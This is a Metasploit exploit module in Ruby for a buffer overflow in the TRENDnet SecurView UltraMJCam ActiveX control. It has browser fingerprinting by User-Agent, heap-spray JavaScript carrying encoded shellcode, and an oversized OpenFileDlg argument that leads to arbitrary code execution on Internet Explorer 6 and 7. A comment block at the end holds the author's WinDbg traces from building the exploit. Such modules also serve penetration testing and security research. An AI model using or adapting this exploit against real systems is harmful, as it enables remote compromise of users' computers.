202 lines
6.5 KiB
Ruby
202 lines
6.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in TRENDnet SecurView Internet
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Camera's ActiveX control. By supplying a long string of data as the sFilter
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argument of the OpenFileDlg() function, it is possible to trigger a buffer
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overflow condition due to WideCharToMultiByte (which converts unicode back to)
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overwriting the stack more than it should, which results arbitrary code execution
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under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod', #Original discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', '80661' ],
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[ 'EDB', '18675' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "seh",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
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[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
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[ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 28 2012",
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'DefaultTarget' => 0))
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[3] #IE 7 on Windows Vista
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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# Set payload depending on target
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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# Convert the pivot addr (in decimal format) to binary,
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# and then break it down to this printable format:
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# \x41\x41\x41\x41
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t = [my_target.ret].pack("V").unpack("H*")[0]
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target_ret = ''
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0.step(t.length-1, 2) do |i|
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target_ret << "\\x#{t[i, 2]}"
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end
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x40000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x1000; i++) {
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heap_obj.alloc(block);
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}
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var ret = "";
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for (i2=0; i2<30000; i2++) {
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ret = ret + "#{target_ret}";
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}
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obj.OpenFileDlg(ret);
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JS
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js = heaplib(js, {:noobfu => true})
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html = <<-EOS
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<html>
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<head>
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<script>
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</script>
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</head>
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<body>
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<object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
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<script>
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#{js}
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</script>
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</body>
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</html>
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EOS
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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bp 1000f952 "r; g"
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bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g"
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eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000
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eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
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kernel32!WideCharToMultiByte:
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7c80a164 8bff mov edi,edi
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023f4bf4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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023f4c04 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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023f4c14 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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023f4c24 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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023f4c34 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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023f4c44 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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023f4c54 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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023f4c64 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
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ChildEBP RetAddr
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0013a12c 1000f958 kernel32!WideCharToMultiByte
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WARNING: Stack unwind information not available. Following frames may be wrong.
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0013a158 100211d0 UltraMJCamX+0xf958
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0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20
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0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a
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0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234
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0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92
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0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32
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0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78
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0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149
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0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44
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0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac
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0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56
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0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78
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0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba
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0013e574 75c6efea jscript!VAR::InvokeDispName+0x43
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0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd
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0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd
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0013e668 75c71793 jscript!ScrFncObj::Call+0x8d
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0013e6d8 75c5da62 jscript!CSession::Execute+0xa7
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0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147
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0:008> r
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eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000
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eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
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UltraMJCamX!DllUnregisterServer+0x27a39:
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1003a0e9 8917 mov dword ptr [edi],edx ds:0023:020c0000=00905a4d
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The only application-specific component loaded is UltraMJCamX.ocx, but this
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can be unreliable and I'd rather not use that.
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=end
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